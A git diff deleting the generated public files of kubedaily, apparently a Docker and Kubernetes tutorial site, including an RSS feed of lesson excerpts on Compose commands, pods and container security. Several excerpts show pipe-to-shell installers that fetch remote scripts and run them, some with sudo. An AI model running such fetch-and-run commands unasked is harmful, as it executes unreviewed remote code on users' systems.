b/public/img/slider/brainanalaytics.jpg deleted file mode 100644 index a34a0ff..0000000 Binary files a/public/img/slider/brainanalaytics.jpg and /dev/null differ diff --git a/public/img/slider/docker-on-aws-gps2017.jpg b/public/img/slider/docker-on-aws-gps2017.jpg deleted file mode 100644 index 9a23fc4..0000000 Binary files a/public/img/slider/docker-on-aws-gps2017.jpg and /dev/null differ diff --git a/public/img/slider/k8s-forum-blr-2020.jpg b/public/img/slider/k8s-forum-blr-2020.jpg deleted file mode 100644 index 0dfa308..0000000 Binary files a/public/img/slider/k8s-forum-blr-2020.jpg and /dev/null differ diff --git a/public/img/slider/mayadata.jpg b/public/img/slider/mayadata.jpg deleted file mode 100644 index 24d6460..0000000 Binary files a/public/img/slider/mayadata.jpg and /dev/null differ diff --git a/public/img/slider/microsoft-reactor.jpg b/public/img/slider/microsoft-reactor.jpg deleted file mode 100644 index 33d8e86..0000000 Binary files a/public/img/slider/microsoft-reactor.jpg and /dev/null differ diff --git a/public/img/slider/okteto.jpg b/public/img/slider/okteto.jpg deleted file mode 100644 index e36b4ab..0000000 Binary files a/public/img/slider/okteto.jpg and /dev/null differ diff --git a/public/img/slider/st-paloti-nagpur.JPG b/public/img/slider/st-paloti-nagpur.JPG deleted file mode 100644 index 6f62f1e..0000000 Binary files a/public/img/slider/st-paloti-nagpur.JPG and /dev/null differ diff --git a/public/img/slider/thoughtworks.jpg b/public/img/slider/thoughtworks.jpg deleted file mode 100644 index 6668421..0000000 Binary files a/public/img/slider/thoughtworks.jpg and /dev/null differ diff --git a/public/img/slider/walmartlabs.jpg b/public/img/slider/walmartlabs.jpg deleted file mode 100644 index 747badb..0000000 Binary files a/public/img/slider/walmartlabs.jpg and /dev/null differ diff --git a/public/index.html b/public/index.html deleted file mode 100644 index f7dc404..0000000 --- a/public/index.html +++ /dev/null @@ -1,236 +0,0 @@ - - - - - - - - - -kubedaily · Demestifying Container and Orchestration Ecosystem - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
- - -

Demestifying Container and Orchestration Ecosystem

- Join CloudNativeFolks Community - - - -
- Star - Fork - - -
- - - -

Thanks to all our contributors!

- - - - - -
- - - -
- - - - - -
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/index.xml b/public/index.xml deleted file mode 100644 index b0e7fd6..0000000 --- a/public/index.xml +++ /dev/null @@ -1,800 +0,0 @@ - - - - kubedaily - https://kubedaily.com/ - Recent content on kubedaily - Hugo -- gohugo.io - en - Sun, 19 Feb 2023 00:00:00 +0000 - - - The Ultimate Docker Workshop Tracks - https://kubedaily.com/docker/helper/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/helper/ - Table of Content Title Link 1.Pre-requisit for this lab Lab 2.Docker Hello World Example Lab 3.Docker Image Filtering 4.Images and Container As Tar file Lab 5.Push first Nginx Web app To DockerHub Lab 6.Build a Base Image from Scratch Lab 7.Dockerfile Lab - ADD instruction Lab 8.Dockerfile Lab - COPY instruction Lab 9.Dockerfile Lab - CMD instruction Lab 10.Dockerfile Lab - Entrypoint instruction Lab 11.Dockerfile Lab - WORKDIR instruction Lab 12. - - - Flannel is a network fabric for containers, designed for Kubernetes. - https://kubedaily.com/blog/flannel/ - Fri, 17 Feb 2023 00:00:00 +0000 - https://kubedaily.com/blog/flannel/ - kubenetes networking Networking details Platforms like Kubernetes assume that each container (pod) has a unique, routable IP inside the cluster. The advantage of this model is that it removes the port mapping complexities that come from sharing a single host IP. -Flannel is responsible for providing a layer 3 IPv4 network between multiple nodes in a cluster. Flannel does not control how containers are networked to the host, only how the traffic is transported between hosts. - - - Arkade Open Source Marketplace for Kubernetes - https://kubedaily.com/blog/arkade-open-source-marketplace-for-kubernetes/ - Mon, 13 Feb 2023 00:00:00 +0000 - https://kubedaily.com/blog/arkade-open-source-marketplace-for-kubernetes/ - Getting started with Arkade CLI Macos/Linux ~ curl -sLS https://get.arkade.dev | sudo sh Password: Downloading package https://github.com/alexellis/arkade/releases/download/0.9.7/arkade-darwin-arm64 as /tmp/arkade-darwin-arm64 Download complete. Running with sufficient permissions to attempt to move arkade to /usr/local/bin New version of arkade installed to /usr/local/bin Creating alias &#39;ark&#39; for &#39;arkade&#39;. _ _ __ _ _ __| | ____ _ __| | ___ / _` | &#39;__| |/ / _` |/ _` |/ _ \ | (_| | | | &lt; (_| | (_| | __/ \__,_|_| |_|\_\__,_|\__,_|\___| Open Source Marketplace For Developer Tools Version: 0. - - - CertManager - Automatically provision and manage TLS certificates in Kubernetes - https://kubedaily.com/blog/certmanager/ - Tue, 14 Feb 2023 00:00:00 +0000 - https://kubedaily.com/blog/certmanager/ - Start Minikube minikube-certmanager git:(main) minikube start 😄 minikube v1.30.0 on Darwin 13.3.1 (arm64) ✨ Using the docker driver based on existing profile 👍 Starting control plane node minikube in cluster minikube 🚜 Pulling base image ... 🏃 Updating the running docker &#34;minikube&#34; container ... ❗ Image was not built for the current minikube version. To resolve this you can delete and recreate your minikube cluster using the latest images. Expected minikube version: v1. - - - Okteto Develop your applications directly in your Kubernetes Cluster - https://kubedaily.com/blog/okteto/ - Sat, 18 Feb 2023 00:00:00 +0000 - https://kubedaily.com/blog/okteto/ - Getting started with Oketo CLI Macos/Linux ➜ curl https://get.okteto.com -sSfL | sh &gt; Using Release Channel: stable &gt; Using Version: 2.14.0 &gt; Downloading https://downloads.okteto.com/cli/stable/2.14.0/okteto-Darwin-arm64 % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 74.8M 100 74.8M 0 0 20.0M 0 0:00:03 0:00:03 --:--:-- 20.0M Login into Okteto Cloud via Github Account Configuring Okteto CLI with Okteto Cloud ➜ okteto context A context defines the default cluster/namespace for any Okteto CLI command. - - - Werf A solution for implementing efficient and consistent software - https://kubedaily.com/blog/werf/ - Sun, 19 Feb 2023 00:00:00 +0000 - https://kubedaily.com/blog/werf/ - Install Werf ➜ ~ curl -sSLO https://werf.io/install.sh &amp;&amp; chmod +x install.sh ➜ ~ ./install.sh --version 1.2 --channel stable [INPUT REQUIRED] Current login shell is &#34;zsh&#34;. Press ENTER to setup werf for this shell or choose another one. [b]ash/[z]sh/[a]bort? Default: zsh. z [INPUT REQUIRED] trdl is going to be installed in &#34;/Users/sangambiradar/bin/&#34;. Add this directory to your $PATH in &#34;/Users/sangambiradar/.zshrc&#34; and &#34;/Users/sangambiradar/.zprofile&#34;? (strongly recommended) [y]es/[a]bort/[s]kip? Default: yes. yes [INFO] Installing trdl to &#34;/Users/sangambiradar/bin/&#34;. - - - Basics of Pod - https://kubedaily.com/k8s/basics-of-pod/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/k8s/basics-of-pod/ - 0. What is POD learn via Kubectl Explain kubectl explain pod KIND: Pod VERSION: v1 DESCRIPTION: Pod is a collection of containers that can run on a host. This resource is created by clients and scheduled onto hosts. FIELDS: apiVersion &lt;string&gt; APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources kind &lt;string&gt; Kind is a string value representing the REST resource this object represents. - - - Dive - https://kubedaily.com/containersecurity/dive/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/dive/ - Dive Ubuntu /Debian wget https://github.com/wagoodman/dive/releases/download/v0.9.2/dive_0.9.2_linux_amd64.deb sudo apt install ./dive_0.9.2_linux_amd64.deb RHEL/CemtOS curl -OL https://github.com/wagoodman/dive/releases/download/v0.9.2/dive_0.9.2_linux_amd64.rpm rpm -i dive_0.9.2_linux_amd64.rpm Arch Linux ay -S dive Mac OS X -brew install dive How to use Dive To analyze a Docker image simply run dive with an image tag/id/digest: -$ dive &lt;your-image-tag&gt; or if you want to build your image then jump straight into analyzing it: -$ dive build -t &lt;some-tag&gt; example ngnix image -another tool that make this all more easy - - - Docker architecture and its components - https://kubedaily.com/containersecurity/docker-architecture-and-its-components/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/docker-architecture-and-its-components/ - Docker architecture and its components -Docker Architecture Docker architecture consists of three main components: -Docker Engine: This is the core component of Docker and is responsible for building, running, and distributing Docker containers. It is made up of a daemon, a REST API, and a CLI (command line interface). Docker Hub: This is a cloud-based registry service that allows users to share and store Docker images. It acts as a central repository for Docker images and makes it easy for users to find and download images that they need for their projects. - - - Pre-requisit for this lab - https://kubedaily.com/k8s/pre-requisit-for-this-lab/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/k8s/pre-requisit-for-this-lab/ - Install Minikube https://minikube.sigs.k8s.io/docs/start/ // i&#39;m using mac so my installation step will be diffeent from you folks curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-darwin-amd64 sudo install minikube-darwin-amd64 /usr/local/bin/minikube ceate cluster using minikube ➜ k8sworkshop git:(main) ✗ minikube start 😄 minikube v1.28.0 on Darwin 13.2.1 (arm64) ✨ Using the docker driver based on existing profile 👍 Starting control plane node minikube in cluster minikube 🚜 Pulling base image ... 🔄 Restarting existing docker container for &#34;minikube&#34; . - - - YaraHunter - Malware Scanner for Container Images - https://kubedaily.com/containersecurity/yarahunter-malware-scanner-for-container-images/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/yarahunter-malware-scanner-for-container-images/ - What is YARA ? YARA was originally developed by Victor Alvarez of VirusTotal and released on github in 2013 . -YARA , the &ldquo;Pattern matching Swiss knife for malware researchers available on github -Install yara on Mac brew install yara Yara is extremely popular within because of different use case : Identify and classify malware -Find new samples based on family-specific pattern -Deploy Yara Rules to identify samples and compromised device for incident response - - - Attack surface of the container ecosystem - https://kubedaily.com/containersecurity/attack-surface-of-the-container-ecosystem/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/attack-surface-of-the-container-ecosystem/ - Container Technology Archiecture Developer systems (generate images and send them to testing and accreditation) Testing and accreditation systems (validate and verify the contents of images, sign images, and send images to the registry) Registries (store images and distribute images to the orchestrator upon request) Orchestrators (convert images into containers and deploy containers to hosts) Hosts (run and stop containers as directed by the orchestrator) Attack surface of the container ecosystem One way to start thinking about the threat model is to consider the actors involved. - - - Auditing Docker Security - https://kubedaily.com/containersecurity/auditing-docker-security/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/auditing-docker-security/ - Auditing Docker Security DOCKER BENCH FOR SECURITY -Docker Bench for Security is an open source Bash script that checks for various common security best practices of deploying Docker in production environments. The tests are all automated and are based on the CIS Docker Benchmark. More information about Docker Bench for Security can be found on GitHub: https://github.com/docker/docker-bench-security -auditing docker security with docker bench for security The auditing process can be performed by following the procedures outlined below: - - - Build a Base Image from Scratch - https://kubedaily.com/docker/build-a-base-image-from-scratch/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/build-a-base-image-from-scratch/ - write simple c program #include&lt;stdio.h&gt; int main() { printf(&#34;dockerworkshop&#34;); } Compile C program gcc -o hello hello.c ✗ ./hello dockerworkshop% create dockerfile with following content : FROM scratch ADD hello / CMD [&#34;/hello&#34;] Build Dockerfile without any base image Dockerfile git:(main) ✗ docker build -t sangam14/hello-scratch -f dockerfile.hello . [+] Building 0.1s (5/5) FINISHED =&gt; [internal] load build definition from dockerfile.hello 0.0s =&gt; =&gt; transferring dockerfile: 87B 0.0s =&gt; [internal] load . - - - Build Own Dockerfile and Docker Compose with Custom configuration - https://kubedaily.com/docker/build-own-dockerfile-and-docker-compose-with-custom-configuration/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/build-own-dockerfile-and-docker-compose-with-custom-configuration/ - Build Own Dockerfile and Docker Compose with Custom configuration crate docker compose file with following content -version: &#39;3&#39; services: phpapp: build: context: ./ dockerfile: Dockerfile image: phpapp:123 ports: - &#34;8080:80&#34; volumes: - &#34;./:/var/www/html&#34; container_name: my-php-app here using dockerfile to generate an image mount folder inside your directory automatically create index.php with following content &lt;?php phpinfo(); build docker compose file 3-DC-Custom git:(main) ✗ docker compose up [+] Running 0/1 ⠿ phpapp Warning 3. - - - Capabilities - https://kubedaily.com/containersecurity/capabilities/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/capabilities/ - Capabilities 1.Process isolation: This allows the separation of processes between different containers, ensuring that processes running in one container do not have access to resources or processes in another container. -2.Resource limitation: This allows the allocation of specific resources (such as CPU, memory, and disk space) to each container, ensuring that one container does not consume more resources than it has been allocated. -3.User namespace: This allows the creation of user accounts within a container that are separate from the host system, ensuring that users within a container do not have access to resources outside of the container. - - - Cgroups - https://kubedaily.com/containersecurity/cgroups/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/cgroups/ - Cgroups In a container environment, Cgroups are used to ensure that each container has its own set of resources and cannot interfere with other containers or the host system. This helps to isolate the containers from each other and allows them to run in a more predictable and stable manner. -Cgroups can be used to set limits on the amount of resources a container can use, such as CPU time or memory usage. - - - ConfigMap - https://kubedaily.com/k8s/configmap/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/k8s/configmap/ - craete index-html-configmap.yaml with following content apiVersion: v1 kind: ConfigMap metadata: name: index-html-configmap namespace: default data: index.html: | &lt;html&gt; &lt;h1&gt;Welcome&lt;/h1&gt; &lt;/br&gt; &lt;h1&gt;Hi! This is a configmap Index file &lt;/h1&gt; &lt;/html&gt; ➜ k8s101 git:(main) ✗ kubectl apply -f index-html-configmap.yaml configmap/index-html-configmap created craete nginx.yaml with following content apiVersion: apps/v1 kind: Deployment metadata: name: nginx-deployment namespace: default spec: selector: matchLabels: app: nginx replicas: 2 template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:latest ports: - containerPort: 80 volumeMounts: - name: nginx-index-file mountPath: /usr/share/nginx/html/ volumes: - name: nginx-index-file configMap: name: index-html-configmap ➜ k8s101 git:(main) ✗ kubectl apply -f ngnix. - - - Container Advantage and Disadvantages - https://kubedaily.com/containersecurity/container-advantage-and-disadvantages/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/container-advantage-and-disadvantages/ - Container Advantages Every day, developers find new ways to put containerization to work to solve their challenges. There is no shortage of ways to use containerization, and every application will likely produce unique benefits. Here are some of the most common reasons developers decide to containerize: -Portability -No discussion of containerization is complete without at least one mention of the motto, “write once, run anywhere.” Since a container bundles all dependencies, you can take your application just about anywhere without rebuilding it to account for a new environment. - - - Container Image Security - https://kubedaily.com/containersecurity/container-image-security/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/container-image-security/ - Container Image Security Building secure container images Choosing base images Alpine Pros very small images: the community pays a lot attention on minimizing image sizes minimum functionality: only absolutely necessary packages contained lightweight init system: like Gentoo, Alpine uses OpenRC, a lightweight alternative to systemd musl performance: for some cases, musl libc can be more performant than glibc Cons rather Poor Documentation Small team : Currently there are 3 developer listed as the alpine linux team possible incompatibilities: musl libc may cause problems with some C-based plugins and adjustments may be necessary if you compile software yourself Debian Pro: - - - Container Security - https://kubedaily.com/containersecurity/overview/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/overview/ - Table of Content Title Link 1.What is container? lab 2.Container vs. Virtualization lab 3.Container Advantage and Disadvantages lab 4.Namespaces lab 5.Cgroups 6.Capabilities lab 7.Docker architecture and its components lab 8.Interacting with container ecosystem lab 9.Attack surface of the container ecosystem lab 10.Environment variables lab 11.Docker volumes lab 12.Docker Networking lab 13.Auditing Docker Security lab 14.Container Image Security lab 15.DockerFile Security Best Practices lab 16.SecretScanner - Finding secrets and passwords in container images and file systems lab 17. - - - Container vs Virtualization - https://kubedaily.com/containersecurity/container-vs-virtualization/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/container-vs-virtualization/ - A Shift from Monolithic to Microservice Architecture Monolithic Application have changed dramarically -A Decade Ago ( and still valid ) Apps were monolithic Built on single stack such as .NET or Java Long Lived Deployed to a single server Benefits of monolith - Simple to Develop , Test , Deplot &amp; Scale -simple to develope because of all the tools and IDEs aupport to that kind of application by default easy to deploy because all coponets are packed into one bundle Easy to scale the whole application Disadvantages of monolith - - - Content Trust and Integrity checks - https://kubedaily.com/containersecurity/content-trust-and-integrity-checks/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/content-trust-and-integrity-checks/ - Content Trust and Integrity checks -Docker Content Trust (DCT) makes it simple and easy to verify the integrity and the publisher of images that you download and run. This is especially important when pulling images over untrusted networks such as the internet. -docker trust key generate sangam Generating key for sangam... Enter passphrase for new nigel key with ID 1f78609: Repeat passphrase for new nigel key with ID 1f78609: Successfully generated and loaded private key. - - - Create POD with Command and Arguments - https://kubedaily.com/k8s/create-pod-with-command-and-arguments/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/k8s/create-pod-with-command-and-arguments/ - kubectl explain pods.spec.containers.command k8s101 git:(main) ✗ kubectl explain pods.spec.containers.command KIND: Pod VERSION: v1 FIELD: command &lt;[]string&gt; DESCRIPTION: Entrypoint array. Not executed within a shell. The container image&#39;s ENTRYPOINT is used if this is not provided. Variable references $(VAR_NAME) are expanded using the container&#39;s environment. If a variable cannot be resolved, the reference in the input string will be unchanged. Double $$ are reduced to a single $, which allows for escaping the $(VAR_NAME) syntax: i. - - - Deployments and replication - https://kubedaily.com/k8s/deployments-and-replication/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/k8s/deployments-and-replication/ - Kubectl explain Deployment k8sworkshop git:(main) ✗ kubectl explain deployments KIND: Deployment VERSION: apps/v1 DESCRIPTION: Deployment enables declarative updates for Pods and ReplicaSets. FIELDS: apiVersion &lt;string&gt; APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources kind &lt;string&gt; Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. - - - Docker Compose CLI - Build Command - https://kubedaily.com/docker/docker-compose-cli-build-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-build-command/ - Docker Compose Build Command docker compose build [OPTIONS] [SERVICE...] If you change a service’s Dockerfile or the contents of its build directory, run docker compose build to rebuild it. ---build-arg Set build-time variables for services. --no-cache Do not use cache when building the image --progress auto Set type of progress output (auto, tty, plain, quiet) . --pull Always attempt to pull a newer version of the image.. --push Push service images. - - - Docker Compose CLI - Config Command - https://kubedaily.com/docker/docker-compose-cli-config-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-config-command/ - create dockerfile with following content # syntax=docker/dockerfile:1 FROM python:3.7-alpine WORKDIR /code ENV FLASK_APP=app.py ENV FLASK_RUN_HOST=0.0.0.0 RUN apk add --no-cache gcc musl-dev linux-headers COPY requirements.txt requirements.txt RUN pip install -r requirements.txt EXPOSE 5000 COPY . . CMD [&#34;flask&#34;, &#34;run&#34;] create app.py with following content import time import redis from flask import Flask app = Flask(__name__) cache = redis.Redis(host=&#39;redis&#39;, port=6379) def get_hit_count(): retries = 5 while True: try: return cache.incr(&#39;hits&#39;) except redis.exceptions.ConnectionError as exc: if retries == 0: raise exc retries -= 1 time. - - - Docker Compose CLI - CP Command - https://kubedaily.com/docker/docker-compose-cli-cp-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-cp-command/ - Copy files/folders between a service container and the local filesystem # Syntax to Copy from Container to Docker Host docker cp {options} CONTAINER:SRC_PATH DEST_PATH # Syntax to Copy from Docker Host to Container docker cp {options} SRC_PATH CONTAINER:DEST_PATH lets run ngnix container version: &#39;3&#39; services: web: image: nginx:latest run docker compose up docker compose -f docker-compose-ngnix.yml up check running container ➜ dockerworkshop git:(main) ✗ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 008940fdbed8 nginx:latest &#34;/docker-entrypoint. - - - Docker Compose CLI - Create Command - https://kubedaily.com/docker/docker-compose-cli-create-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-create-command/ - create docker-compose.yml with following content version: &#34;3.9&#34; services: web: build: . ports: - &#34;8000:5000&#34; redis: image: &#34;redis:alpine&#34; Creates containers for a service. ➜ 7-DC-CLI git:(main) ✗ docker compose create [+] Running 7/7 ⠿ redis Pulled 6.1s ⠿ af6eaf76a39c Already exists 0.0s ⠿ 5015c79ed515 Pull complete 0.9s ⠿ 2ca28624189f Pull complete 1.0s ⠿ 4691452befb1 Pull complete 1.6s ⠿ 746fa87aff8c Pull complete 2.1s ⠿ b8496ad2d107 Pull complete 2.2s WARN[0006] Found orphan containers ([7-dc-cli-client-1]) for this project. - - - Docker Compose CLI - Down Command - https://kubedaily.com/docker/docker-compose-cli-down-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-down-command/ - create docker-compose.yml with following content version: &#34;3.9&#34; services: web: build: . ports: - &#34;8000:5000&#34; redis: image: &#34;redis:alpine&#34; Create docker compose up docker compose up WARN[0000] Found orphan containers ([7-dc-cli-client-1]) for this project. If you removed or renamed this service in your compose file, you can run this command with the --remove-orphans flag to clean it up. Attaching to 7-dc-cli-redis-1, 7-dc-cli-web-1 7-dc-cli-redis-1 | 1:C 04 Mar 2023 14:23:46.156 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo 7-dc-cli-redis-1 | 1:C 04 Mar 2023 14:23:46. - - - Docker Compose CLI - Events Command - https://kubedaily.com/docker/docker-compose-cli-events-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-events-command/ - here is sample voting app cat docker-compose.yml # version is now using &#34;compose spec&#34; # v2 and v3 are now combined! # docker-compose v1.27+ required services: vote: build: ./vote # use python rather than gunicorn for local dev command: python app.py depends_on: redis: condition: service_healthy healthcheck: test: [&#34;CMD&#34;, &#34;curl&#34;, &#34;-f&#34;, &#34;http://localhost&#34;] interval: 15s timeout: 5s retries: 3 start_period: 10s volumes: - ./vote:/app ports: - &#34;5000:80&#34; networks: - front-tier - back-tier result: build: . - - - Docker Compose CLI - Exec Command - https://kubedaily.com/docker/docker-compose-cli-exec-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-exec-command/ - Docker Compose Exec into result service docker compose exec result sh # ls Dockerfile docker-compose.test.yml package-lock.json package.json server.js tests views # cat docker-compose.test.yml version: &#39;2&#39; services: sut: build: ./tests/ depends_on: - vote - result - worker networks: - front-tier vote: build: ../vote/ ports: [&#34;80&#34;] depends_on: - redis - db networks: - front-tier - back-tier result: build: . ports: [&#34;80&#34;] depends_on: - redis - db networks: - front-tier - back-tier worker: build: . - - - Docker Compose CLI - Images Command - https://kubedaily.com/docker/docker-compose-cli-images-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-images-command/ - example-voting-app git:(main) docker compose images CONTAINER REPOSITORY TAG IMAGE ID SIZE example-voting-app-db-1 postgres 15-alpine 68d4a8d9d3d9 241MB example-voting-app-redis-1 redis alpine 1339d05b97a4 30.4MB example-voting-app-result-1 example-voting-app-result latest 223b94fc00ae 254MB example-voting-app-vote-1 example-voting-app-vote latest 5c1cf62b540c 135MB example-voting-app-worker-1 example-voting-app-worker latest 8f82fda1dae8 195MB - - - Docker Compose CLI - Kill Command - https://kubedaily.com/docker/docker-compose-cli-kill-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-kill-command/ - Forces running containers to stop by sending a SIGKILL signal. Optionally the signal can be passed : example-voting-app git:(main) docker-compose kill -s SIGINT [+] Running 4/0 ⠿ Container example-voting-app-redis-1 Killed 0.0s ⠿ Container example-voting-app-worker-1 Killed 0.0s ⠿ Container example-voting-app-db-1 Killed 0.0s ⠿ Container example-voting-app-result-1 Killed 0.0s - - - Docker Compose CLI - logs Command - https://kubedaily.com/docker/docker-compose-cli-logs-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-logs-command/ - View output from containers ➜ example-voting-app git:(main) docker-compose logs example-voting-app-worker-1 | Connected to db example-voting-app-result-1 | [nodemon] 2.0.21 example-voting-app-worker-1 | Found redis at 172.20.0.2 example-voting-app-worker-1 | Connecting to redis example-voting-app-result-1 | [nodemon] to restart at any time, enter `rs` example-voting-app-result-1 | [nodemon] watching path(s): *.* example-voting-app-result-1 | [nodemon] watching extensions: js,mjs,json example-voting-app-result-1 | [nodemon] starting `node server.js` example-voting-app-result-1 | Sat, 04 Mar 2023 18:00:16 GMT body-parser deprecated bodyParser: use individual json/urlencoded middlewares at server. - - - Docker Compose CLI - ls Command - https://kubedaily.com/docker/docker-compose-cli-ls-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-ls-command/ - List running compose projects docker-compose ls NAME STATUS CONFIG FILES example-voting-app running(4) /Users/sangambiradar/Documents/GitHub/dockerworkshop/workshop/Docker102/Docker-Compose/example-voting-app/docker-compose.yml ➜ example-voting-app git:(main) - - - Docker Compose CLI - Pause unpause Command - https://kubedaily.com/docker/docker-compose-cli-pause-unpause-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-pause-unpause-command/ - example-voting-app git:(main) docker compose pause [+] Running 4/0 ⠿ Container example-voting-app-db-1 Paused 0.0s ⠿ Container example-voting-app-redis-1 Paused 0.0s ⠿ Container example-voting-app-worker-1 Paused 0.0s ⠿ Container example-voting-app-result-1 Paused 0.0s ➜ example-voting-app git:(main) Pauses running containers of a service. They can be unpaused with docker compose unpause. docker compose unpause [+] Running 4/0 ⠿ Container example-voting-app-worker-1 Unpaused 0.0s ⠿ Container example-voting-app-redis-1 Unpaused 0.0s ⠿ Container example-voting-app-result-1 Unpaused 0.0s ⠿ Container example-voting-app-db-1 Unpaused 0. - - - Docker Compose CLI - Port Command - https://kubedaily.com/docker/docker-compose-cli-port-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-port-command/ - Print the public port for a port binding. docker compose port result 80 0.0.0.0:5001 ➜ example-voting-app git:(main) - - - Docker Compose CLI - ps Command - https://kubedaily.com/docker/docker-compose-cli-ps-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-ps-command/ - List containers docker compose ps NAME IMAGE COMMAND SERVICE CREATED STATUS PORTS example-voting-app-db-1 postgres:15-alpine &#34;docker-entrypoint.s…&#34; db 4 hours ago Up About an hour (healthy) 5432/tcp example-voting-app-redis-1 redis:alpine &#34;docker-entrypoint.s…&#34; redis 4 hours ago Up About an hour (healthy) 6379/tcp example-voting-app-result-1 example-voting-app-result &#34;nodemon server.js&#34; result About an hour ago Up About an hour 0.0.0.0:5858-&gt;5858/tcp, 0.0.0.0:5001-&gt;80/tcp example-voting-app-worker-1 example-voting-app-worker &#34;dotnet Worker.dll&#34; worker About an hour ago Up About an hour ➜ example-voting-app git:(main) - - - Docker Compose CLI - pull Command - https://kubedaily.com/docker/docker-compose-cli-pull-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-pull-command/ - Pull service images example-voting-app git:(main) docker compose pull [+] Running 5/5 ⠿ vote Skipped - No image to be pulled 0.0s ⠿ result Skipped - No image to be pulled 0.0s ⠿ worker Skipped - No image to be pulled 0.0s ⠿ redis Pulled 2.8s ⠿ db Pulled 2.8s - - - Docker Compose CLI - push Command - https://kubedaily.com/docker/docker-compose-cli-push-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-push-command/ - Push service images services: service1: build: . image: localhost:5000/yourimage ## goes to local registry service2: build: . image: your-dockerid/yourimage ## goes to your repository on Docker Hub - - - Docker Compose CLI - restart Command - https://kubedaily.com/docker/docker-compose-cli-restart-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-restart-command/ - restart service images docker compose restart [+] Running 5/5 ⠿ Container example-voting-app-db-1 Started 0.7s ⠿ Container example-voting-app-redis-1 Started 0.7s ⠿ Container example-voting-app-result-1 Started 0.6s ⠿ Container example-voting-app-vote-1 Started 0.5s ⠿ Container example-voting-app-worker-1 Started 0.4s ➜ example-voting-app git:(main) - - - Docker Compose CLI - rm Command - https://kubedaily.com/docker/docker-compose-cli-rm-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/docker-compose-cli-rm-command/ - Removes stopped service containers ➜ example-voting-app git:(main) docker compose stop [+] Running 5/5 ⠿ Container example-voting-app-vote-1 Stopped 0.3s ⠿ Container example-voting-app-result-1 Stopped 0.3s ⠿ Container example-voting-app-worker-1 Stopped 0.1s ⠿ Container example-voting-app-db-1 Stopped 0.1s ⠿ Container example-voting-app-redis-1 Stopped 0.2s ➜ example-voting-app git:(main) docker compose rm ? Going to remove example-voting-app-vote-1, example-voting-app-result-1, example-voting-app-worker-1, example-voting-app-db-1, example-voting-app-redis-1 Yes [+] Running 5/0 ⠿ Container example-voting-app-redis-1 Removed 0.0s ⠿ Container example-voting-app-vote-1 Removed 0.0s ⠿ Container example-voting-app-result-1 Removed 0. - - - Docker Compose CLI - run Command - https://kubedaily.com/docker/docker-compose-cli-run-command/ - Mon, 01 Jan 0001 00:00:00 +0000 - 